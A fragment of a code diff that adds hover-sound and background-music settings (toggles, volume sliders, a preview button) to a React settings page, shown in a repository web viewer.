const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
@@ -490,6 +504,82 @@ export default function SettingsPage() {
|
||||
Preview share
|
||||
</button>
|
||||
</div>
|
||||
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
|
||||
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
|
||||
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
|
||||
Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
|
||||
mouse movement stays quiet. Muted when click sounds are off.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={hoverEnabled}
|
||||
disabled={!sfxEnabled}
|
||||
onChange={(e) => setHoverEnabled(e.target.checked)}
|
||||
/>
|
||||
<span>Enable hover highlight sounds</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-hover-volume" className="label">
|
||||
Hover volume ({Math.round(hoverVolume * 100)}%)
|
||||
</label>
|
||||
<input
|
||||
id="cfg-hover-volume"
|
||||
type="range"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
step={5}
|
||||
value={Math.round(hoverVolume * 100)}
|
||||
disabled={!sfxEnabled || !hoverEnabled}
|
||||
onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
|
||||
/>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={!sfxEnabled || !hoverEnabled}
|
||||
onClick={previewHover}
|
||||
>
|
||||
Preview hover
|
||||
</button>
|
||||
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
|
||||
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
|
||||
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
|
||||
Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
|
||||
mini player in the bottom-right corner on any page, or enable here. Defaults off — browsers block autoplay
|
||||
until you press play or toggle this on.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={bgmEnabled}
|
||||
onChange={(e) => setBgmEnabled(e.target.checked)}
|
||||
/>
|
||||
<span>Enable background music</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-bgm-volume" className="label">
|
||||
Music volume ({Math.round(bgmVolume * 100)}%)
|
||||
</label>
|
||||
<input
|
||||
id="cfg-bgm-volume"
|
||||
type="range"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
step={5}
|
||||
value={Math.round(bgmVolume * 100)}
|
||||
disabled={!bgmEnabled}
|
||||
onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
|
||||
/>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
|
||||
Reference in New Issue
Block a user